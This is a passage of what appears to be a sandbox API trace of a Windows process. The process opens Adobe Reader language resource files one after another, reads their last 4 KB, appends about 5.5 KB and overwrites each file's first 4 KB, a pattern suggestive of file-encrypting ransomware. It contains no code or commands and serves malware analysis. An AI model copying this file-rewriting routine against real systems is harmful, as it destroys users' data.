[0045.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_MA.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb4c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_MA.txt", lpUsedDefaultChar=0x0) returned 30 [0045.050] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c74d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.062] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5c96 [0045.062] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c74d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.070] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5c96 [0045.070] WriteFile (in: hFile=0x1a8, lpBuffer=0x2619c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2619c78*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.070] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0045.070] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.070] CloseHandle (hObject=0x1a8) returned 1 [0045.071] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0045.071] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.071] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6cdc [0045.071] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.071] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.071] ReleaseMutex (hMutex=0x128) returned 1 [0045.071] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.071] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca.txt", cchWideChar=27, lpMultiByteStr=0x1e7fb4c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ca.txt", lpUsedDefaultChar=0x0) returned 27 [0045.071] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.080] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5cdc [0045.080] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.104] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5cdc [0045.104] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.105] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0045.105] WriteFile (in: hFile=0x1a8, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.105] CloseHandle (hObject=0x1a8) returned 1 [0045.106] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0045.106] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.107] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6e92 [0045.107] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.107] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.107] ReleaseMutex (hMutex=0x128) returned 1 [0045.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el.txt", cchWideChar=27, lpMultiByteStr=0x1e7fb4c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.el.txt", lpUsedDefaultChar=0x0) returned 27 [0045.107] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.114] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5e92 [0045.114] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.117] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5e92 [0045.117] WriteFile (in: hFile=0x1a8, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.118] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0045.118] WriteFile (in: hFile=0x1a8, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.118] CloseHandle (hObject=0x1a8) returned 1 [0045.118] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_bo.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0045.118] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.118] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6ec8 [0045.118] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.118] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.119] ReleaseMutex (hMutex=0x128) returned 1 [0045.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_BO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0045.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_BO.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb4c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_BO.txt", lpUsedDefaultChar=0x0) returned 30 [0045.119] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.125] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5ec8 [0045.125] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.134] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5ec8 [0045.134] WriteFile (in: hFile=0x1a8, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.135] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0045.135] WriteFile (in: hFile=0x1a8, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.135] CloseHandle (hObject=0x1a8) returned 1 [0045.136] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_mx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0045.136] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.136] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6ec0 [0045.136] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.136] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.136] ReleaseMutex (hMutex=0x128) returned 1 [0045.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_MX.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0045.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_MX.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb4c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_MX.txt", lpUsedDefaultChar=0x0) returned 30 [0045.136] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.141] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5ec0 [0045.142] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.148] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5ec0 [0045.148] WriteFile (in: hFile=0x1a8, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.149] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0045.149] WriteFile (in: hFile=0x1a8, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.149] CloseHandle (hObject=0x1a8) returned 1 [0045.149] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es__traditional.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0045.150] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.150] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6ec6 [0045.150] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.150] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.150] ReleaseMutex (hMutex=0x128) returned 1 [0045.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es__TRADITIONAL.txt", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0045.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es__TRADITIONAL.txt", cchWideChar=40, lpMultiByteStr=0x1e9c82c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es__TRADITIONAL.txt", lpUsedDefaultChar=0x0) returned 40 [0045.150] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.156] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5ec6 [0045.156] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.756] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5ec6 [0045.756] WriteFile (in: hFile=0x1a8, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.757] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0045.757] WriteFile (in: hFile=0x1a8, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.757] CloseHandle (hObject=0x1a8) returned 1 [0045.757] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he_IL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he_il.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0045.758] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.758] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x67c2 [0045.758] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.758] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.758] ReleaseMutex (hMutex=0x128) returned 1 [0045.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he_IL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0045.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he_IL.txt", cchWideChar=30, lpMultiByteStr=0x1e7faec, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.he_IL.txt", lpUsedDefaultChar=0x0) returned 30 [0045.758] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.860] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x57c2 [0045.860] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.883] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x57c2 [0045.883] WriteFile (in: hFile=0x1a8, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.884] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0045.884] WriteFile (in: hFile=0x1a8, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.884] CloseHandle (hObject=0x1a8) returned 1 [0045.885] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0045.885] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.885] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x656a [0045.885] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.885] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.885] ReleaseMutex (hMutex=0x128) returned 1 [0045.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0045.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP.txt", cchWideChar=30, lpMultiByteStr=0x1e7faec, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ja_JP.txt", lpUsedDefaultChar=0x0) returned 30 [0045.886] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.903] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x556a [0045.903] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.907] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x556a [0045.907] WriteFile (in: hFile=0x1a8, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.907] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0045.908] WriteFile (in: hFile=0x1a8, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, 